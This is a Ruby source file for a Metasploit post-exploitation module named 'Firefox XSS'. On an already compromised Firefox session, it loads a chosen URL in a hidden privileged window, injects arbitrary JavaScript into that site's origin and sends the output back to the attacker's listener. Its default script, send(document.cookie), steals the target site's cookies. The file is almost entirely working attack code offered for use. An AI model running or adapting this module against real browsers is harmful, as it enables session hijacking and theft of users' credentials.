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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'json'
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class MetasploitModule < Msf::Post
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  include Msf::Payload::Firefox
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  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Firefox XSS',
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        'Description' => %q{
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          This module runs the provided SCRIPT as javascript in the
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          origin of the provided URL. It works by navigating to a hidden
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          ChromeWindow to the URL, then injecting the SCRIPT with Function().
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          The callback "send(result)" is used to send data back to the listener.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'joev' ],
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        'Platform' => [ 'firefox' ]
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      )
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    )
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    register_options([
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      OptString.new('SCRIPT', [true, 'The javascript command to run', 'send(document.cookie)']),
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      OptPath.new('SCRIPTFILE', [false, 'The javascript file to run']),
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      OptString.new('URL', [
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        true, 'URL to inject into', 'https://metasploit.com'
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      ]),
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      OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
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    ])
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  end
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  def run
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    results = js_exec(js_payload)
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    if results.present?
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      print_good results
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    else
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      print_error 'No response received'
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    end
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  end
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  def js_payload
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    js = datastore['SCRIPT'].strip
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    %|
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      (function(send){
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        #{set_timeout_source}
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        var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
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                               .getService(Components.interfaces.nsIAppShellService)
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                               .hiddenDOMWindow;
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        hiddenWindow.location = 'about:blank';
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        var src = (#{JSON.unparse({ src: js })}).src;
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        var key = "#{Rex::Text.rand_text_alphanumeric(rand(8..19))}";
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        hiddenWindow[key] = true;
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        hiddenWindow.location = "#{datastore['URL']}";
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        var evt = function() {
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          if (hiddenWindow[key]) {
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            setTimeout(evt, 200);
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          } else {
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            setTimeout(function(){
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              try {
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                send(hiddenWindow.wrappedJSObject.Function('send', src)(send));
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              } catch (e) {
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                send("Error: "+e.message);
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              }
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            }, 500);
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          }
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        };
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        setTimeout(evt, 200);
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      })(this.send);
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    |.strip
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  end
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end
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